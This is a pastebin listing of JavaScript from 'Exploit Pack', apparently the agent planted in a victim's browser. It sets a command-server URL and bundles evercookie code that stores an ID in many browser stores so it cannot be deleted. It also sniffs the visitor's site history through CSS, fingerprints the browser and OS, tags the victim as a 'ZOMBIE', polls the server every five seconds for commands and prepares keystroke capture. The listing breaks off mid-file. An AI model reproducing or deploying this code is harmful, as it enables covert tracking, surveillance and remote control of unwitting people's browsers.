· 8 years ago · Jun 11, 2018, 01:12 PM
1// Exploit Pack server <- Change 127.0.0.1 to your IP address for non-localhost !
2var urlServer = "http://127.0.0.1:8000/agent/";
3
4// Exploit Pack - http://www.exploitpack.com
5// Copyright (c) 2017, Juan Sacco
6//
7// Redistribution and use in source and binary forms, with or without
8// modification, are permitted provided that the following conditions are met:
9//
10// 1. Redistributions of source code must retain the above copyright notice, this
11// list of conditions and the following disclaimer.
12// 2. Redistributions in binary form must reproduce the above copyright notice,
13// this list of conditions and the following disclaimer in the documentation
14// and/or other materials provided with the distribution.
15//
16// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
17// ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
18// WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
19// DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR
20// ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
21// (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
22// LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
23// ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
24// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
25// SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE
26
27// Dinamically load JS and CSS
28
29function loadjscssfile(filename, filetype) {
30 if (filetype == "js") { //if filename is a external JavaScript file
31 var fileref = document.createElement('script');
32 fileref.setAttribute("type", "text/javascript");
33 fileref.setAttribute("src", filename);
34 } else if (filetype == "css") { //if filename is an external CSS file
35 var fileref = document.createElement("link");
36 fileref.setAttribute("rel", "stylesheet");
37 fileref.setAttribute("type", "text/css");
38 fileref.setAttribute("href", filename);
39 }
40 if (typeof fileref != "undefined")
41 document.getElementsByTagName("head")[0].appendChild(fileref);
42}
43
44// Dynamically load jquery from google
45loadjscssfile("http://ajax.googleapis.com/ajax/libs/jquery/1.9.1/jquery.min.js", "js");
46// Dinamycally load jquerui grom google
47loadjscssfile("http://ajax.googleapis.com/ajax/libs/jqueryui/1.10.2/jquery-ui.min.js", "js");
48// style="background-color:blue;"
49function getChatMessage() {
50 newChatBox.remove()
51 if (localStorage.getItem('ExploitPackChat') != null) {
52 newChatBox.html(localStorage.getItem('ExploitPackChat'));
53 newChatBox.dialog();
54 }
55}
56
57function setChatMessage(message) {
58// Clean chat box
59 newChatBox.remove()
60 // Div elevement for the chat box
61 $(document).ready(function ($) {
62 var newChatBox = $(document.createElement('div'));
63 newChatBox.css("color", "black");
64 newChatBox.css("border", "solid 2px");
65 newChatBox.css("border-color", "#f00 #f00 #f0a35d #f00");
66 });
67 // Store the message
68 if (localStorage.getItem('ExploitPackChat') != null) {
69 message = localStorage.getItem('ExploitPackChat') + message + '<br>';
70 } else {
71 message = message + '<br>';
72 }
73// Store the message
74 localStorage.setItem('ExploitPackChat', message);
75 // Show the dialog
76 if (localStorage.getItem('ExploitPackChat') != null) {
77 newChatBox.html(localStorage.getItem('ExploitPackChat'));
78 newChatBox.dialog();
79 }
80}
81
82// Evercookie Code
83// Extremely persistent cookies
84/* to turn off CSS history knocking, set _ec_history to 0 */
85var _ec_history = 1; // CSS history knocking or not .. can be network intensive
86var _ec_tests = 10; //1000;
87var _ec_debug = 0;
88function _ec_dump(arr, level) {
89 var dumped_text = "";
90 if (!level)
91 level = 0;
92 //The padding given at the beginning of the line.
93 var level_padding = "";
94 for (var j = 0; j < level + 1; j++)
95 level_padding += " ";
96 if (typeof (arr) == 'object') { //Array/Hashes/Objects
97 for (var item in arr) {
98 var value = arr[item];
99 if (typeof (value) == 'object') { //If it is an array,
100 dumped_text += level_padding + "'" + item + "' ...\n";
101 dumped_text += _ec_dump(value, level + 1);
102 } else {
103 dumped_text += level_padding + "'" + item + "' => \"" + value + "\"\n";
104 }
105 }
106 } else { //Stings/Chars/Numbers etc.
107 dumped_text = "===>" + arr + "<===(" + typeof (arr) + ")";
108 }
109 return dumped_text;
110}
111
112function _ec_replace(str, key, value) {
113 if (str.indexOf('&' + key + '=') > -1 || str.indexOf(key + '=') == 0) {
114// find start
115 var idx = str.indexOf('&' + key + '=');
116 if (idx == -1)
117 idx = str.indexOf(key + '=');
118 // find end
119 var end = str.indexOf('&', idx + 1);
120 var newstr;
121 if (end != -1)
122 newstr = str.substr(0, idx) + str.substr(end + (idx ? 0 : 1)) + '&' + key + '=' + value;
123 else
124 newstr = str.substr(0, idx) + '&' + key + '=' + value;
125 return newstr;
126 } else
127 return str + '&' + key + '=' + value;
128}
129
130// necessary for flash to communicate with js...
131// please implement a better way
132var _global_lso;
133function _evercookie_flash_var(cookie) {
134 _global_lso = cookie;
135 // remove the flash object now
136 var swf = $('#myswf');
137 if (swf && swf.parentNode)
138 swf.parentNode.removeChild(swf);
139}
140
141var evercookie = (function () {
142 this._class = function () {
143
144 var self = this;
145 // private property
146 _baseKeyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
147 this._ec = {};
148 var no_color = -1;
149 this.get = function (name, cb, dont_reset) {
150 $(document).ready(function () {
151 self._evercookie(name, cb, undefined, undefined, dont_reset);
152 });
153 }
154
155 this.set = function (name, value) {
156 $(document).ready(function () {
157 self._evercookie(name, function () { }, value);
158 });
159 }
160
161 this._evercookie = function (name, cb, value, i, dont_reset) {
162 if (typeof self._evercookie == 'undefined')
163 self = this;
164 if (typeof i == 'undefined')
165 i = 0;
166 // first run
167 if (i == 0) {
168 self.evercookie_database_storage(name, value);
169 self.evercookie_png(name, value);
170 self.evercookie_etag(name, value);
171 self.evercookie_cache(name, value);
172 self.evercookie_lso(name, value);
173 self.evercookie_silverlight(name, value);
174 self._ec.userData = self.evercookie_userdata(name, value);
175 self._ec.cookieData = self.evercookie_cookie(name, value);
176 self._ec.localData = self.evercookie_local_storage(name, value);
177 self._ec.globalData = self.evercookie_global_storage(name, value);
178 self._ec.sessionData = self.evercookie_session_storage(name, value);
179 self._ec.windowData = self.evercookie_window(name, value);
180 if (_ec_history)
181 self._ec.historyData = self.evercookie_history(name, value);
182 }
183
184// when writing data, we need to make sure lso and silverlight object is there
185 if (typeof value != 'undefined') {
186 if (
187 (
188 (typeof _global_lso == 'undefined') ||
189 (typeof _global_isolated == 'undefined')
190 )
191 && i++ < _ec_tests
192 )
193 setTimeout(function () {
194 self._evercookie(name, cb, value, i, dont_reset)
195 }, 300);
196 }
197
198// when reading data, we need to wait for swf, db, silverlight and png
199 else {
200 if (
201 (
202 // we support local db and haven't read data in yet
203 (window.openDatabase && typeof self._ec.dbData == 'undefined') ||
204 (typeof _global_lso == 'undefined') ||
205 (typeof self._ec.etagData == 'undefined') ||
206 (typeof self._ec.cacheData == 'undefined') ||
207 (document.createElement('canvas').getContext && (typeof self._ec.pngData == 'undefined' || self._ec.pngData == '')) ||
208 (typeof _global_isolated == 'undefined')
209 )
210 &&
211 i++ < _ec_tests
212 ) {
213 setTimeout(function () {
214 self._evercookie(name, cb, value, i, dont_reset)
215 }, 300);
216 }
217
218// we hit our max wait time or got all our data
219 else {
220// get just the piece of data we need from swf
221 self._ec.lsoData = self.getFromStr(name, _global_lso);
222 _global_lso = undefined;
223 // get just the piece of data we need from silverlight
224 self._ec.slData = self.getFromStr(name, _global_isolated);
225 _global_isolated = undefined;
226 var tmpec = self._ec;
227 self._ec = {};
228 // figure out which is the best candidate
229 var candidates = new Array();
230 var bestnum = 0;
231 var candidate;
232 for (var item in tmpec) {
233 if (typeof tmpec[item] != 'undefined' && typeof tmpec[item] != 'null' && tmpec[item] != '' &&
234 tmpec[item] != 'null' && tmpec[item] != 'undefined' && tmpec[item] != null) {
235 candidates[tmpec[item]] = typeof candidates[tmpec[item]] == 'undefined' ? 1 : candidates[tmpec[item]] + 1;
236 }
237 }
238
239 for (var item in candidates) {
240 if (candidates[item] > bestnum) {
241 bestnum = candidates[item];
242 candidate = item;
243 }
244 }
245
246// reset cookie everywhere
247 if (typeof dont_reset == "undefined" || dont_reset != 1)
248 self.set(name, candidate);
249 if (typeof cb == 'function')
250 cb(candidate, tmpec);
251 }
252 }
253 }
254
255 this.evercookie_window = function (name, value) {
256 try {
257 if (typeof (value) != "undefined")
258 window.name = _ec_replace(window.name, name, value);
259 else
260 return this.getFromStr(name, window.name);
261 } catch (e) {
262 }
263 }
264
265 this.evercookie_userdata = function (name, value) {
266 try {
267 var elm = this.createElem('div', 'userdata_el', 1);
268 elm.style.behavior = "url(#default#userData)";
269 if (typeof (value) != "undefined") {
270 elm.setAttribute(name, value);
271 elm.save(name);
272 } else {
273 elm.load(name);
274 return elm.getAttribute(name);
275 }
276 } catch (e) {
277 }
278 }
279
280 this.evercookie_cache = function (name, value) {
281 if (typeof (value) != "undefined") {
282// make sure we have evercookie session defined first
283 document.cookie = 'evercookie_cache=' + value;
284 // evercookie_cache.php handles caching
285 var img = new Image();
286 img.style.visibility = 'hidden';
287 img.style.position = 'absolute';
288 img.src = 'evercookie_cache.php?name=' + name;
289 } else {
290// interestingly enough, we want to erase our evercookie
291// http cookie so the php will force a cached response
292 var origvalue = this.getFromStr('evercookie_cache', document.cookie);
293 self._ec.cacheData = undefined;
294 document.cookie = 'evercookie_cache=; expires=Mon, 20 Sep 2010 00:00:00 UTC; path=/';
295 $.ajax({
296 url: 'evercookie_cache.php?name=' + name,
297 success: function (data) {
298 // put our cookie back
299 document.cookie = 'evercookie_cache=' + origvalue + '; expires=Tue, 31 Dec 2030 00:00:00 UTC; path=/';
300 self._ec.cacheData = data;
301 }
302 });
303 }
304 }
305
306 this.evercookie_etag = function (name, value) {
307 if (typeof (value) != "undefined") {
308// make sure we have evercookie session defined first
309 document.cookie = 'evercookie_etag=' + value;
310 // evercookie_etag.php handles etagging
311 var img = new Image();
312 img.style.visibility = 'hidden';
313 img.style.position = 'absolute';
314 img.src = 'evercookie_etag.php?name=' + name;
315 } else {
316// interestingly enough, we want to erase our evercookie
317// http cookie so the php will force a cached response
318 var origvalue = this.getFromStr('evercookie_etag', document.cookie);
319 self._ec.etagData = undefined;
320 document.cookie = 'evercookie_etag=; expires=Mon, 20 Sep 2010 00:00:00 UTC; path=/';
321 $.ajax({
322 url: 'evercookie_etag.php?name=' + name,
323 success: function (data) {
324 // put our cookie back
325 document.cookie = 'evercookie_etag=' + origvalue + '; expires=Tue, 31 Dec 2030 00:00:00 UTC; path=/';
326 self._ec.etagData = data;
327 }
328 });
329 }
330 }
331
332 this.evercookie_lso = function (name, value) {
333 var div = document.getElementById('swfcontainer');
334 if (!div) {
335 div = document.createElement("div");
336 div.setAttribute('id', 'swfcontainer');
337 document.body.appendChild(div);
338 }
339
340 var flashvars = {};
341 if (typeof value != 'undefined')
342 flashvars.everdata = name + '=' + value;
343 var params = {};
344 params.swliveconnect = "true";
345 var attributes = {};
346 attributes.id = "myswf";
347 attributes.name = "myswf";
348 swfobject.embedSWF("evercookie.swf", "swfcontainer", "1", "1", "9.0.0", false, flashvars, params, attributes);
349 }
350
351 this.evercookie_png = function (name, value) {
352 if (document.createElement('canvas').getContext) {
353 if (typeof (value) != "undefined") {
354// make sure we have evercookie session defined first
355 document.cookie = 'evercookie_png=' + value;
356 // evercookie_png.php handles the hard part of generating the image
357 // based off of the http cookie and returning it cached
358 var img = new Image();
359 img.style.visibility = 'hidden';
360 img.style.position = 'absolute';
361 img.src = 'evercookie_png.php?name=' + name;
362 } else {
363 self._ec.pngData = undefined;
364 var context = document.createElement('canvas');
365 context.style.visibility = 'hidden';
366 context.style.position = 'absolute';
367 context.width = 200;
368 context.height = 1;
369 var ctx = context.getContext('2d');
370 // interestingly enough, we want to erase our evercookie
371 // http cookie so the php will force a cached response
372 var origvalue = this.getFromStr('evercookie_png', document.cookie);
373 document.cookie = 'evercookie_png=; expires=Mon, 20 Sep 2010 00:00:00 UTC; path=/';
374 var img = new Image();
375 img.style.visibility = 'hidden';
376 img.style.position = 'absolute';
377 img.src = 'evercookie_png.php?name=' + name;
378 img.onload = function () {
379 // put our cookie back
380 document.cookie = 'evercookie_png=' + origvalue + '; expires=Tue, 31 Dec 2030 00:00:00 UTC; path=/';
381 self._ec.pngData = '';
382 ctx.drawImage(img, 0, 0);
383 // get CanvasPixelArray from given coordinates and dimensions
384 var imgd = ctx.getImageData(0, 0, 200, 1);
385 var pix = imgd.data;
386 // loop over each pixel to get the "RGB" values (ignore alpha)
387 for (var i = 0, n = pix.length; i < n; i += 4) {
388 if (pix[i] == 0)
389 break;
390 self._ec.pngData += String.fromCharCode(pix[i]);
391 if (pix[i + 1] == 0)
392 break;
393 self._ec.pngData += String.fromCharCode(pix[i + 1]);
394 if (pix[i + 2] == 0)
395 break;
396 self._ec.pngData += String.fromCharCode(pix[i + 2]);
397 }
398 }
399 }
400 }
401 }
402
403 this.evercookie_local_storage = function (name, value) {
404 try {
405 if (window.localStorage) {
406 if (typeof (value) != "undefined")
407 localStorage.setItem(name, value);
408 else
409 return localStorage.getItem(name);
410 }
411 } catch (e) {
412 }
413 }
414
415 this.evercookie_database_storage = function (name, value) {
416 try {
417 if (window.openDatabase) {
418 var database = window.openDatabase("sqlite_evercookie", "", "evercookie", 1024 * 1024);
419 if (typeof (value) != "undefined")
420 database.transaction(function (tx) {
421 tx.executeSql("CREATE TABLE IF NOT EXISTS cache(" +
422 "id INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT, " +
423 "name TEXT NOT NULL, " +
424 "value TEXT NOT NULL, " +
425 "UNIQUE (name)" +
426 ")", [], function (tx, rs) { }, function (tx, err) { });
427 tx.executeSql("INSERT OR REPLACE INTO cache(name, value) VALUES(?, ?)", [name, value],
428 function (tx, rs) { }, function (tx, err) { })
429 });
430 else {
431 database.transaction(function (tx) {
432 tx.executeSql("SELECT value FROM cache WHERE name=?", [name],
433 function (tx, result1) {
434 if (result1.rows.length >= 1)
435 self._ec.dbData = result1.rows.item(0)['value'];
436 else
437 self._ec.dbData = '';
438 }, function (tx, err) { })
439 });
440 }
441 }
442 } catch (e) {
443 }
444 }
445
446 this.evercookie_session_storage = function (name, value) {
447 try {
448 if (window.sessionStorage) {
449 if (typeof (value) != "undefined")
450 sessionStorage.setItem(name, value);
451 else
452 return sessionStorage.getItem(name);
453 }
454 } catch (e) {
455 }
456 }
457
458 this.evercookie_global_storage = function (name, value) {
459 if (window.globalStorage) {
460 var host = this.getHost();
461 try {
462 if (typeof (value) != "undefined")
463 eval("globalStorage[host]." + name + " = value");
464 else
465 return eval("globalStorage[host]." + name);
466 } catch (e) {
467 }
468 }
469 }
470 this.evercookie_silverlight = function (name, value) {
471 /*
472 * Create silverlight embed
473 *
474 * Ok. so, I tried doing this the proper dom way, but IE chokes on appending anything in object tags (including params), so this
475 * is the best method I found. Someone really needs to find a less hack-ish way. I hate the look of this shit.
476 */
477 var source = "evercookie.xap";
478 var minver = "4.0.50401.0";
479 var initParam = "";
480 if (typeof (value) != "undefined")
481 initParam = '<param name="initParams" value="' + name + '=' + value + '" />';
482 var html =
483 '<object data="data:application/x-silverlight-2," type="application/x-silverlight-2" id="mysilverlight" width="0" height="0">' +
484 initParam +
485 '<param name="source" value="' + source + '"/>' +
486 '<param name="onLoad" value="onSilverlightLoad"/>' +
487 '<param name="onError" value="onSilverlightError"/>' +
488 '<param name="background" value="Transparent"/>' +
489 '<param name="windowless" value="true"/>' +
490 '<param name="minRuntimeVersion" value="' + minver + '"/>' +
491 '<param name="autoUpgrade" value="true"/>' +
492 '<a href="http://go.microsoft.com/fwlink/?LinkID=149156&v=' + minver + '" style="text-decoration:none">' +
493 '<img src="http://go.microsoft.com/fwlink/?LinkId=108181" alt="Get Microsoft Silverlight" style="border-style:none"/>' +
494 '</a>' +
495 '</object>';
496 document.body.innerHTML += html;
497 }
498
499// public method for encoding
500 this.encode = function (input) {
501 var output = "";
502 var chr1, chr2, chr3, enc1, enc2, enc3, enc4;
503 var i = 0;
504 input = this._utf8_encode(input);
505 while (i < input.length) {
506
507 chr1 = input.charCodeAt(i++);
508 chr2 = input.charCodeAt(i++);
509 chr3 = input.charCodeAt(i++);
510 enc1 = chr1 >> 2;
511 enc2 = ((chr1 & 3) << 4) | (chr2 >> 4);
512 enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);
513 enc4 = chr3 & 63;
514 if (isNaN(chr2)) {
515 enc3 = enc4 = 64;
516 } else if (isNaN(chr3)) {
517 enc4 = 64;
518 }
519
520 output = output +
521 _baseKeyStr.charAt(enc1) + _baseKeyStr.charAt(enc2) +
522 _baseKeyStr.charAt(enc3) + _baseKeyStr.charAt(enc4);
523 }
524
525 return output;
526 }
527
528// public method for decoding
529 this.decode = function (input) {
530 var output = "";
531 var chr1, chr2, chr3;
532 var enc1, enc2, enc3, enc4;
533 var i = 0;
534 input = input.replace(/[^A-Za-z0-9\+\/\=]/g, "");
535 while (i < input.length) {
536 enc1 = _baseKeyStr.indexOf(input.charAt(i++));
537 enc2 = _baseKeyStr.indexOf(input.charAt(i++));
538 enc3 = _baseKeyStr.indexOf(input.charAt(i++));
539 enc4 = _baseKeyStr.indexOf(input.charAt(i++));
540 chr1 = (enc1 << 2) | (enc2 >> 4);
541 chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
542 chr3 = ((enc3 & 3) << 6) | enc4;
543 output = output + String.fromCharCode(chr1);
544 if (enc3 != 64) {
545 output = output + String.fromCharCode(chr2);
546 }
547 if (enc4 != 64) {
548 output = output + String.fromCharCode(chr3);
549 }
550
551 }
552
553 output = this._utf8_decode(output);
554 return output;
555 }
556
557// private method for UTF-8 encoding
558 this._utf8_encode = function (string) {
559 string = string.replace(/\r\n/g, "\n");
560 var utftext = "";
561 for (var n = 0; n < string.length; n++) {
562
563 var c = string.charCodeAt(n);
564 if (c < 128) {
565 utftext += String.fromCharCode(c);
566 } else if ((c > 127) && (c < 2048)) {
567 utftext += String.fromCharCode((c >> 6) | 192);
568 utftext += String.fromCharCode((c & 63) | 128);
569 } else {
570 utftext += String.fromCharCode((c >> 12) | 224);
571 utftext += String.fromCharCode(((c >> 6) & 63) | 128);
572 utftext += String.fromCharCode((c & 63) | 128);
573 }
574
575 }
576
577 return utftext;
578 }
579
580// private method for UTF-8 decoding
581 this._utf8_decode = function (utftext) {
582 var string = "";
583 var i = 0;
584 var c = c1 = c2 = 0;
585 while (i < utftext.length) {
586
587 c = utftext.charCodeAt(i);
588 if (c < 128) {
589 string += String.fromCharCode(c);
590 i++;
591 } else if ((c > 191) && (c < 224)) {
592 c2 = utftext.charCodeAt(i + 1);
593 string += String.fromCharCode(((c & 31) << 6) | (c2 & 63));
594 i += 2;
595 } else {
596 c2 = utftext.charCodeAt(i + 1);
597 c3 = utftext.charCodeAt(i + 2);
598 string += String.fromCharCode(((c & 15) << 12) | ((c2 & 63) << 6) | (c3 & 63));
599 i += 3;
600 }
601
602 }
603
604 return string;
605 }
606
607// this is crazy but it's 4am in dublin and i thought this would be hilarious
608// blame the guinness
609 this.evercookie_history = function (name, value) {
610// - is special
611 var baseStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=-";
612 var baseElems = baseStr.split("");
613 // sorry google.
614 var url = 'http://www.google.com/evercookie/cache/' + this.getHost() + '/' + name;
615 if (typeof (value) != "undefined") {
616// don't reset this if we already have it set once
617// too much data and you can't clear previous values
618 if (this.hasVisited(url))
619 return;
620 this.createIframe(url, 'if');
621 url = url + '/';
622 var base = this.encode(value).split("");
623 for (var i = 0; i < base.length; i++) {
624 url = url + base[i];
625 this.createIframe(url, 'if' + i);
626 }
627
628// - signifies the end of our data
629 url = url + '-';
630 this.createIframe(url, 'if_');
631 } else {
632// omg you got csspwn3d
633 if (this.hasVisited(url)) {
634 url = url + '/';
635 var letter = "";
636 var val = "";
637 var found = 1;
638 while (letter != '-' && found == 1) {
639 found = 0;
640 for (var i = 0; i < baseElems.length; i++) {
641 if (this.hasVisited(url + baseElems[i])) {
642 letter = baseElems[i];
643 if (letter != '-')
644 val = val + letter;
645 url = url + letter;
646 found = 1;
647 break;
648 }
649 }
650 }
651
652// lolz
653 return this.decode(val);
654 }
655 }
656 }
657
658 this.createElem = function (type, name, append) {
659 var el;
660 if (typeof name != 'undefined' && document.getElementById(name))
661 el = document.getElementById(name);
662 else
663 el = document.createElement(type);
664 el.style.visibility = 'hidden';
665 el.style.position = 'absolute';
666 if (name)
667 el.setAttribute('id', name);
668 if (append)
669 document.body.appendChild(el);
670 return el;
671 }
672
673 this.createIframe = function (url, name) {
674 var el = this.createElem('iframe', name, 1);
675 el.setAttribute('src', url);
676 return el;
677 }
678
679// wait for our swfobject to appear (swfobject.js to load)
680 this.waitForSwf = function (i) {
681 if (typeof i == 'undefined')
682 i = 0;
683 else
684 i++;
685 // wait for ~2 seconds for swfobject to appear
686 if (i < _ec_tests && typeof swfobject == 'undefined')
687 setTimeout(function () {
688 waitForSwf(i)
689 }, 300);
690 }
691
692 this.evercookie_cookie = function (name, value) {
693 if (typeof (value) != "undefined") {
694// expire the cookie first
695 document.cookie = name + '=; expires=Mon, 20 Sep 2010 00:00:00 UTC; path=/';
696 document.cookie = name + '=' + value + '; expires=Tue, 31 Dec 2030 00:00:00 UTC; path=/';
697 } else
698 return this.getFromStr(name, document.cookie);
699 }
700
701// get value from param-like string (eg, "x=y&name=VALUE")
702 this.getFromStr = function (name, text) {
703 if (typeof text != 'string')
704 return;
705 var nameEQ = name + "=";
706 var ca = text.split(/[;&]/);
707 for (var i = 0; i < ca.length; i++) {
708 var c = ca[i];
709 while (c.charAt(0) == ' ')
710 c = c.substring(1, c.length);
711 if (c.indexOf(nameEQ) == 0)
712 return c.substring(nameEQ.length, c.length);
713 }
714 }
715
716 this.getHost = function () {
717 var domain = document.location.host;
718 if (domain.indexOf('www.') == 0)
719 domain = domain.replace('www.', '');
720 return domain;
721 }
722
723 this.toHex = function (str) {
724 var r = "";
725 var e = str.length;
726 var c = 0;
727 var h;
728 while (c < e) {
729 h = str.charCodeAt(c++).toString(16);
730 while (h.length < 2)
731 h = "0" + h;
732 r += h;
733 }
734 return r;
735 }
736
737 this.fromHex = function (str) {
738 var r = "";
739 var e = str.length;
740 var s;
741 while (e >= 0) {
742 s = e - 2;
743 r = String.fromCharCode("0x" + str.substring(s, e)) + r;
744 e = s;
745 }
746 return r;
747 }
748
749 /*
750 * css history knocker (determine what sites your visitors have been to)
751 *
752 * originally by Jeremiah Grossman
753 * http://jeremiahgrossman.blogspot.com/2006/08/i-know-where-youve-been.html
754 *
755 * ported to additional browsers by Samy Kamkar
756 *
757 * compatible with ie6, ie7, ie8, ff1.5, ff2, ff3, opera, safari, chrome, flock
758 *
759 * - code@samy.pl
760 */
761
762
763 this.hasVisited = function (url) {
764 if (this.no_color == -1) {
765 var no_style = this._getRGB("http://samy-was-here-this-should-never-be-visited.com", -1);
766 if (no_style == -1)
767 this.no_color =
768 this._getRGB("http://samy-was-here-" + Math.floor(Math.random() * 9999999) + "rand.com");
769 }
770
771// did we give full url?
772 if (url.indexOf('https:') == 0 || url.indexOf('http:') == 0)
773 return this._testURL(url, this.no_color);
774 // if not, just test a few diff types if (exact)
775 return this._testURL("http://" + url, this.no_color) ||
776 this._testURL("https://" + url, this.no_color) ||
777 this._testURL("http://www." + url, this.no_color) ||
778 this._testURL("https://www." + url, this.no_color);
779 }
780
781 /* create our anchor tag */
782 var _link = this.createElem('a', '_ec_rgb_link');
783 /* for monitoring */
784 var created_style;
785 /* create a custom style tag for the specific link. Set the CSS visited selector to a known value */
786 var _cssText = '#_ec_rgb_link:visited{display:none;color:#FF0000}';
787 /* Methods for IE6, IE7, FF, Opera, and Safari */
788 try {
789 created_style = 1;
790 var style = document.createElement('style');
791 if (style.styleSheet)
792 style.styleSheet.innerHTML = _cssText;
793 else if (style.innerHTML)
794 style.innerHTML = _cssText;
795 else {
796 var cssT = document.createTextNode(_cssText);
797 style.appendChild(cssT);
798 }
799 } catch (e) {
800 created_style = 0;
801 }
802
803 /* if test_color, return -1 if we can't set a style */
804 this._getRGB = function (u, test_color) {
805 if (test_color && created_style == 0)
806 return -1;
807 /* create the new anchor tag with the appropriate URL information */
808 _link.href = u;
809 _link.innerHTML = u;
810 // not sure why, but the next two appendChilds always have to happen vs just once
811 document.body.appendChild(style);
812 document.body.appendChild(_link);
813 /* add the link to the DOM and save the visible computed color */
814 var color;
815 if (document.defaultView)
816 color = document.defaultView.getComputedStyle(_link, null).getPropertyValue('color');
817 else
818 color = _link.currentStyle['color'];
819 return color;
820 }
821
822 this._testURL = function (url, no_color) {
823 var color = this._getRGB(url);
824 /* check to see if the link has been visited if the computed color is red */
825 if (color == "rgb(255, 0, 0)" || color == "#ff0000")
826 return 1;
827 /* if our style trick didn't work, just compare default style colors */
828 else if (no_color && color != no_color)
829 return 1;
830 /* not found */
831 return 0;
832 }
833
834 };
835 return _class;
836})();
837var _global_isolated;
838function onSilverlightLoad(sender, args) {
839 var control = sender.getHost();
840 _global_isolated = control.Content.App.getIsolatedStorage();
841}
842
843function onSilverlightError(sender, args) {
844 _global_isolated = "";
845}
846
847// Detection of Browser and OS
848var BrowserDetect = {
849 init: function () {
850 this.browser = this.searchString(this.dataBrowser) || "An unknown browser";
851 this.version = this.searchVersion(navigator.userAgent)
852 || this.searchVersion(navigator.appVersion)
853 || "an unknown version";
854 this.OS = this.searchString(this.dataOS) || "an unknown OS";
855 },
856 searchString: function (data) {
857 for (var i = 0; i < data.length; i++) {
858 var dataString = data[i].string;
859 var dataProp = data[i].prop;
860 this.versionSearchString = data[i].versionSearch || data[i].identity;
861 if (dataString) {
862 if (dataString.indexOf(data[i].subString) != -1)
863 return data[i].identity;
864 } else if (dataProp)
865 return data[i].identity;
866 }
867 },
868 searchVersion: function (dataString) {
869 var index = dataString.indexOf(this.versionSearchString);
870 if (index == -1)
871 return;
872 return parseFloat(dataString.substring(index + this.versionSearchString.length + 1));
873 },
874 dataBrowser: [
875 {
876 string: navigator.userAgent,
877 subString: "Chrome",
878 identity: "Google Chrome"
879 },
880 {
881 string: navigator.userAgent,
882 subString: "OmniWeb",
883 versionSearch: "OmniWeb/",
884 identity: "OmniWeb"
885 },
886 {
887 string: navigator.vendor,
888 subString: "Apple",
889 identity: "Safari Browser",
890 versionSearch: "Version"
891 },
892 {
893 prop: window.opera,
894 identity: "Opera Browser",
895 versionSearch: "Version"
896 },
897 {
898 string: navigator.vendor,
899 subString: "iCab",
900 identity: "iCab"
901 },
902 {
903 string: navigator.vendor,
904 subString: "KDE",
905 identity: "Konqueror"
906 },
907 {
908 string: navigator.userAgent,
909 subString: "Firefox",
910 identity: "Mozilla Firefox"
911 },
912 {
913 string: navigator.vendor,
914 subString: "Camino",
915 identity: "Camino"
916 },
917 {// for newer Netscapes (6+)
918 string: navigator.userAgent,
919 subString: "Netscape",
920 identity: "Netscape"
921 },
922 {
923 string: navigator.userAgent,
924 subString: "MSIE",
925 identity: "Internet Explorer",
926 versionSearch: "MSIE"
927 },
928 {
929 string: navigator.userAgent,
930 subString: "Gecko",
931 identity: "Mozilla",
932 versionSearch: "rv"
933 },
934 {// for older Netscapes (4-)
935 string: navigator.userAgent,
936 subString: "Mozilla",
937 identity: "Netscape",
938 versionSearch: "Mozilla"
939 }
940 ],
941 dataOS: [
942 {
943 string: navigator.platform,
944 subString: "Win",
945 identity: "Windows"
946 },
947 {
948 string: navigator.platform,
949 subString: "Mac",
950 identity: "Mac"
951 },
952 {
953 string: navigator.userAgent,
954 subString: "iPhone",
955 identity: "iPhone/iPod"
956 },
957 {
958 string: navigator.platform,
959 subString: "Linux",
960 identity: "Linux"
961 }
962 ]
963
964};
965// Cookie lengh
966CookieLen = 15;
967// Cookie chars available
968CookieChars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
969// Instance of evercookie
970ec = new evercookie();
971// Get the cookie if exists
972function GetEverCookie() {
973 var id = this.ec.evercookie_cookie("ZOMBIE");
974 if (typeof id == 'undefined') {
975 var id = ec.evercookie_userdata("ZOMBIE");
976 }
977 if (typeof id == 'undefined') {
978 var id = ec.evercookie_window("ZOMBIE");
979 }
980 if ((typeof id == 'undefined') || (id == null)) {
981 id = GenEverCookie();
982 SetEverCookie(id);
983 }
984 return id;
985}
986
987// Set the cookie on the browser
988function SetEverCookie(id) {
989 ec.evercookie_cookie("ZOMBIE", id);
990 ec.evercookie_userdata("ZOMBIE", id);
991 ec.evercookie_window("ZOMBIE", id);
992}
993
994// Generate a new cookie
995function GenEverCookie() {
996 var NewCookie = "";
997 for (var i = 0; i < this.CookieLen; i++) {
998 var rand_num = Math.floor(Math.random()
999 * this.CookieChars.length);
1000 NewCookie += this.CookieChars.charAt(rand_num);
1001 }
1002 return NewCookie;
1003}
1004
1005// Log messages
1006function log(msg) {
1007 setTimeout(function () {
1008 throw new Error(msg);
1009 }, 0);
1010}
1011
1012// Instance of browser detection
1013BrowserDetect.init();
1014
1015// Temp save MagicIP
1016var magicEP = "";
1017// Cookie name
1018ZOMBIE = GetEverCookie();
1019// Agent User Name
1020AgentUN = "jsacco";
1021var waitingInterval = 5000;
1022// Call to the server and obtain the commands periodically
1023var refresh = setInterval(bot_init, waitingInterval);
1024// Declare var to know if the user is currently typing
1025var isTyping = false;
1026// String of keys to capture
1027var keyString = "";
1028// Declare Cookie
